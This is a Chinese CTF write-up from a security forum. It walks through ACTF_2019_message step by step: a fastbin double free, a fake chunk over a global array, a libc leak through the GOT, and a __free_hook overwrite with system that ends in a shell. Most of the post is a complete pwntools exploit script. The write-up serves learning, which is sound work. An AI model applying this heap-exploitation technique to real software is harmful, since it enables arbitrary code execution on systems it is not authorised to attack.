首页
论坛
课程
招聘
[原创]Pwn堆利用学习—— Fastbin-Double-Free ——ACTF_2019_message
2020-11-30 22:02 4942

[原创]Pwn堆利用学习—— Fastbin-Double-Free ——ACTF_2019_message

2020-11-30 22:02
4942

ACTF_2019_message

步骤一:运行查看

image-20201109171608159

步骤二:查看文件类型和保护机制

  • 64位程序
  • PIE关闭
1
2
3
4
5
$ file ACTF_2019_message
ACTF_2019_message: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4c36562e8013f5ee8cebdc5cfb401ca5221971c, stripped
$ checksec --file=ACTF_2019_message
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No    0        3        ACTF_2019_message

步骤三:IDA反编译分析

  • main函数

image-20201109181939677

  • add函数

image-20201109182024644

  • delete函数:free之后没有置为0,可能导致UAF漏洞后者double free漏洞。

image-20201109182043212

  • edit函数

image-20201109182135617

  • show函数

image-20201109182156188

 

所以,利用点只有delete函数里的free。我们可以在全局变量message那里伪造chunk。查看一下message数组

 

image-20201109195342200

 

由于RELRO是FULL RELRO,此时got表不可写。

 

libc中有一些hook函数,比如__mallochook、\_free_hook函数:

  • __malloc_hook:在malloc之前,它会检查malloc_hook是否为空,如果不为空,那么就会跳到malloc_hook去先执行它;
  • __free_hook:在free之前,检查free是否为空,如果不为空,就会跳到free_hook去先执行它。

__free_hook的参数和free的参数一样,是chunk本身,所以我们可以先输入/bin/sh,然后把__free_hook替换为system函数

步骤四:调试分析

  • a. 写好选项函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './ACTF_2019_message'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
_add,_free,_edit,_show = 1,2,3,4
def add(size,content='a'):
        sla(':',_add)
        sla(':',size)
        sa(':',content)
 
def free(index):
        sla(':',_free)
        sla(':',index)
 
def edit(index,content):
        sla(':',_edit)
        sla(':',index)
        sa(':',content)
 
def show(index):
        sla(':',_show)
        sla(':',index)
 
p.interactive()

b. double free,为了方便,我们在message的第1个元素附近伪造chunk,message[0]存长度,地址是0x602060;message[1]存第一个chunk的指针,地址是0x602068。那么伪造chunk的结构如下:

1
2
3
4
5
6
7
8
9
0x602058 -----------------------
                prev size
0x602060 -----------------------
                   size
0x602068 -----------------------
                            fake chunk
                            user data
0x602070 -----------------------
                  ...

这个size是我们创建chunk的时候输入的,即脚本调用add函数时,我们没有其他地方可以去操作它,如果我们按照之前的方法:1⃣️malloc 3个0x20大小的chunk0,1,2 --> 2⃣️free 0,1,0 --> 3⃣️malloc 0 ,1 --> 4⃣️伪造chunk --> 5⃣️malloc 0 --> 6⃣️malloc fake chunk获取栈上内存。由于malloc的大小是0x20,malloc出来的chunk大小是0x30,在fastbin中chunk 0,1,2,fake都是0x30,当第6⃣️步的时候,在fastbin中fake chunk的大小是0x30,但在栈内存0x602060却是我们创建chunk 0 时输入的0x20,这就会出问题。

 

因此,我们如此构造double free:让chunk 0 的数据部分大小是0x30,chunk 1,2 的是0x20,然后对chunk 1 double free。

1
2
3
4
5
6
add(0x30) # 0
add(0x20) # 1
add(0x20) # 2
free(1)
free(2)
free(1)

image-20201110140234146

 

c. 伪造chunk,fake chunk的“prev_size”地址是0x602058。

1
2
fake = 0x602060-0x8
add(0x20,p64(fake)) # 3 <-> 1

image-20201110140958480

 

d. 继续malloc

1
2
add(0x20) # 4 <-> 2
add(0x20) # 5 <-> 1

image-20201110141606964

 

e. malloc fake chunk,把puts函数got表地址覆写到栈里的message[1],然后调用show函数,打印got表里puts函数的真实地址,然后利用真实地址计算libc基址,进而计算出system函数和free_hook函数的真实地址。

1
2
3
4
5
6
7
8
9
10
11
add(0x20,p64(elf.got['puts'])) # 6 <-> fake
show(0)
 
ru(': ')
puts = uu64(r(6))
print('puts address:'+hex(puts))
 
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')

image-20201110171418875

 

f. 将free_hook的地址写入到某个可编辑的地方,这里把它写到chunk 6,即fake chunk。因为创造的时候add(0x20,p64(elf.got['puts'])) 是把我们伪造的chunk (0x602058)给chunk 6,所以malloc返回的指针指向0x602068,即把0x602068给了message[13],那调用edit函数就能把free_hook函数的地址通过read函数给写入到0x602068里。

1
edit(6,p64(free_hook))

image-20201110181351915

 

g. 把system函数的真实地址写到free_hook函数的真实地址里,劫持free_hook函数

1
edit(0,p64(system))

image-20201110182658242

 

h. 创建一个chunk 7,内容为“/bin/sh”,然后free它,检测到free_hook存在,就会调用它,而且“/bin/sh”作为free_hook的参数。然而,此时我们把system的地址写到了free_hook的地址里,那么就相当于调用了system("/bin/sh")。

1
2
add(0x8,'/bin/sh\x00') # 7
free(7)

image-20201110183639632

步骤五:构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './ACTF_2019_message'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
_add,_free,_edit,_show = 1,2,3,4
def add(size,content='a'):
        sla(':',_add)
        sla(':',size)
        sa(':',content)
 
def free(index):
        sla(':',_free)
        sla(':',index)
 
def edit(index,content):
        sla(':',_edit)
        sla(':',index)
        sa(':',content)
 
def show(index):
        sla(':',_show)
        sla(':',index)
 
# start
add(0x30) # 0
add(0x20) # 1
add(0x20) # 2
free(1)
free(2)
free(1)
#dbg()
fake = 0x602060-0x8
add(0x20,p64(fake)) # 3 <-> 1
#dbg()
add(0x20) # 4 <-> 2
add(0x20) # 5 <-> 1
#dbg()
 
add(0x20,p64(elf.got['puts'])) # 6 <-> fake
show(0)
 
ru(': ')
puts = uu64(r(6))
print('puts address:'+hex(puts))
 
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')
#dbg()
 
print('system address:'+hex(system))
print('freehook address:'+hex(free_hook))
 
edit(6,p64(free_hook))
#dbg()
 
edit(0,p64(system))
#dbg()
add(0x8,'/bin/sh\x00') # 7
free(7)
# end
 
p.interactive()

参考文献

  • ctf-wiki
  • https://www.bilibili.com/video/BV15E411W7wS

第五届安全开发者峰会(SDC 2021)议题征集正式开启!

最后于 2020-11-30 22:25 被直木编辑 ,原因: 添加附件
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回